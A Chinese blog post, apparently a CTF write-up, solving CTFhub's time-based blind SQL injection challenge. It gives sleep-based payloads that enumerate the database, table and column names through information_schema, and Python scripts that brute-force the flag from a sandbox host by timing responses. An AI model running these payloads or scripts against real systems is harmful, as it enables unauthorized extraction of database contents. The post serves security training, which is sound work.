Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CTFhub时间注入题解

CTFhub时间注入题解

作者头像
KevinBruce
发布于 2020-03-24 09:12:29
发布于 2020-03-24 09:12:29
84000
代码可运行
举报
文章被收录于专栏:CTF及算法学习CTF及算法学习
运行总次数:0
代码可运行

CTFhub时间注入题解

这个题除了你的SQL语句啥回显都没有,布尔盲注好歹还有个success和error。不过好在这个题没有任何过滤,因此解起来还是挺容易的,用题目所说的时间注入即可。

解题思路

题目中的SQL语句是select * from news where id=,这里可以借助if表达式进行构造。如果查询成功则sleep几秒,否则就返回一个值。为何成功才sleep呢,主要是节省时间,毕竟,失败次数太多了。

payload举例:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if(xxx,sleep(2),1)

xxx的值需要根据SQL注入的阶段来填写,首先是爆库名,这道题比较贴心,库名就是当前数据库。用到的payload如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if(substr(database(),1,1)='a',sleep(2),1)

上述payload中substr截取的长度和后面单引号的值是变化的,这里写了一个简单的脚本:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import requests
url = 'http://challenge-8dec2ad9aa98abc8.sandbox.ctfhub.com:10080/?id='
payload = "if(substr(database(),1,{})='{}',sleep(2),1)"
database = ''
#dabase的名字长度可以调整
for t in range(15):
    #flag用于确定database后结束循环
    flag = False
    for i in range(ord('a'),ord('z')+1):
        try:
            r = requests.get(url+payload.format(t+1,database+chr(i)),timeout=2)
        except:
            database+=chr(i)
            print(database)
            flag = True
            break
        else:
            pass
    if not flag:
        break

通过该脚本可以得到当前数据库名为sqli。

接下来爆表名,这里替换脚本中的payload为以下payload即可:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if(substr((select table_name from information_schema.tables where table_schema='sqli' limit 1 offset 1),1,{})='{}',sleep(2),1)

得到表名为flag。

同理爆列名,payload如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if(substr((select column_name from information_schema.columns where table_name='flag' limit 1 offset 0),1,{})='{}',sleep(2),1)

得到列名有flag。

最后查表,得到结果。所用脚本如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import requests
url = 'http://challenge-8dec2ad9aa98abc8.sandbox.ctfhub.com:10080/?id='
payload = "if(substr((select flag from flag),1,{})='{}',sleep(2),1)"
database = ''
char_list = [i for i in range(ord('a'),ord('z')+1)]
char_list.append(ord('{'))
char_list.append(ord('}'))
char_list.extend([i for i in range(ord('0'),ord('9')+1)])
print(char_list)
for t in range(50):
    flag = False
    for i in char_list:
        try:
            r = requests.get(url+payload.format(t+1,database+chr(i)),timeout=2)
        except:
            database+=chr(i)
            print(database)
            flag = True
            break
        else:
            pass
    if not flag:
        break

如果网络抖动脚本会中断,可以多跑几次。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-03-21 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
sql-labs-less27/less27a/less28/less28a|sql注入
本关为sql-labs系列less27、less27a、less28以及less28a,此系列持续更新,前面的关卡可以查看我前面的文章,如有错误的地方欢迎师傅指正。
TenG
2020/10/28
1.1K0
sql-labs-less27/less27a/less28/less28a|sql注入
SQL布尔盲注自动化脚本的实现 - wuuconix's blog
很久以前做过布尔盲注的题目,但是当时用的是网上的代码,跑出来flag了也是一知半解,没有收获。
wuuconix
2023/01/30
8030
SQLi_Labs通关文档【1-65关】
为了不干扰自己本机环境,sql-lab我就用的docker跑起来的,搭建也非常简单,也就两条命令
HACK学习
2019/08/05
4K1
Hgame_week3_web
Payload : 1andif((1=2),exp(999999999),1)#
安恒网络空间安全讲武堂
2019/03/08
1.1K0
Hgame_week3_web
sql-labs-less26a|sql注入(脚本)
本关为sql-labs系列less26a,此系列持续更新,前面的关卡可以查看我前面的文章,本关使用bool盲注的方法用脚本跑,如有错误的地方欢迎师傅指正。
TenG
2020/10/28
1.1K0
sql-labs-less26a|sql注入(脚本)
sql注入漏洞
第二个参数要求是xpath格式的字符串,语法正确是会按照路径 /该xml文件/要查询的字符串 进行查询
h3110_w0r1d
2024/02/19
3120
sql注入漏洞
MySQL手注之报错注入详解
往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了。这篇文章会讲解一下报错注入的产生原理和利用案例。
渗透攻击红队
2020/05/19
9.6K1
Sqli_labs65关通关详解(下)
less-31 逻辑跟30关一样,只不过 $id = '"' .$id. '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; 闭合的情况
安恒网络空间安全讲武堂
2018/02/06
1.5K0
Sqli_labs65关通关详解(下)
SQL注入从入门到进阶
本文章产生的缘由是因为专业老师,让我给本专业的同学讲一哈SQL注入和XSS入门,也就是本文的入门篇,讲完两节课后,发现自己对于SQL注入的理解也就仅仅局限于入门,于是有了进阶章节的产生。
小简
2022/12/29
4.1K0
SQL注入从入门到进阶
sql盲注的学习
这几天在学习sql注入的有关内容,今天记录一下我认为比较重要的部分,即sql盲注,我一开始学习的时候看到了好多的函数,看着看着就弄混了,相信不少新入门的师傅也有类似的困惑,经过多番心理斗争,我终于决定将这部分知识好整理一下,同时也给大家分享一下我在学习过程中编写的几个自动注入脚本,也欢迎各位师傅的指点和斧正。
安恒网络空间安全讲武堂
2019/09/28
8480
hackme.inndy.tw的19道web题解(中)
目录 写在前面 ...... login as admin 0 Login as Admin 0.1 login as admin 1.2 login as admin 3 login as admi
安恒网络空间安全讲武堂
2018/02/23
1.5K2
hackme.inndy.tw的19道web题解(中)
Sqli_labs65关通关详解(上)
Less-1 这个题目是基于错误,单引号,字符型注入, http://127.0.0.1/sqli/Less-1/?id=1' //报错 http://127.0.0.1/sqli/Less-
安恒网络空间安全讲武堂
2018/02/06
1.8K0
Sqli_labs65关通关详解(上)
sql-labs-less15/less16|SQL注入|脚本时间注入
这一关为sql-labs系列第15关和第16关,这里我使用的是sql时间盲注(用脚本跑),跟第9关使用的方法差不多,只是传参的写法不一样,涉及到的sql语法可以参考第9关sql-labs-less9/less10|脚本SQL时间盲注,有错误的地方欢迎大佬指正。
TenG
2020/10/28
1.6K0
sql-labs-less15/less16|SQL注入|脚本时间注入
sql-labs-less8|SQL注入,脚本注入
此篇为sql-labs系列less-8,这一关使用脚本盲注,使用的sql语句跟第五关差不多,脚本写的比较烂,我也是第一次写,很基础,如果你也不会写的话可以参考一下。
TenG
2020/10/28
1.3K0
sql-labs-less8|SQL注入,脚本注入
CTFHub-技能树-Web
最近一段时间一直在复习Web基础知识,光看生硬的知识点也无趣,就想着边刷题边复习吧,正好看到群里在推荐CTFHub这个平台,于是我就开始刷CTFHub技能树啦🎈 Web前置技能 HTTP协议 HTTP是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网(WWW:World Wide Web )服务器传输超文本到本地浏览器的传送协议。HTTP是一个基于TCP/IP通信协议来传递数据(HTML 文件, 图片文件, 查询结果等)。 更多详细请看:HTTP教程
小简
2023/01/04
1.8K0
CTFHub-技能树-Web
SQL注入(入门)
收到请求的后端PHP代码会将GET方式传入的id=1与前面的SQL查询语句进行拼接,最后传给执行MySQL的查询语句如下:
Andromeda
2022/10/27
2.1K0
SQL注入(入门)
sql-labs-less9/less10|脚本SQL时间盲注
此系列为sql-labs第9关和第10关,两关差别不大,这一关使用sql时间盲注的方法,写脚本进行注入,前面的关卡没有用过时间盲注,所以这一关讲的比较详细,如果错误的地方还请大佬指正!
TenG
2020/10/28
2.1K1
Sniper-OJ 练习平台多题WriteUp
题目 ### 图书管理系统(200) ### as fast as you can(50) ### md5-vs-injection(50) ### 2048(200) ### very-hard-injection(350) ### inject-again(300) ### SniperOJ-Web-Browser(150) ### guess the code(300) ### php-object-injection(200) ### 图书管理系统(200) 刚看到这个题的时候把各个页面的源码都看
安恒网络空间安全讲武堂
2018/02/06
2.9K0
Sniper-OJ 练习平台多题WriteUp
CTFHUB刷题笔记 - wuuconix's blog
本部的阮行止学长推荐了ctf web方向的刷题顺序。这几天太废了,光顾着看JOJO了2333,已经从大乔看到了星辰远征军埃及篇了,今天打算学习学习,不让自己的良心太难受。
wuuconix
2023/03/14
1K0
CTFHUB刷题笔记 - wuuconix's blog
SICTF 2023
SICTF{fb23cefd-487f-42dd-a343-2a06194efc60}
故里[TRUE]
2023/04/21
6950
SICTF 2023
相关推荐
sql-labs-less27/less27a/less28/less28a|sql注入
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验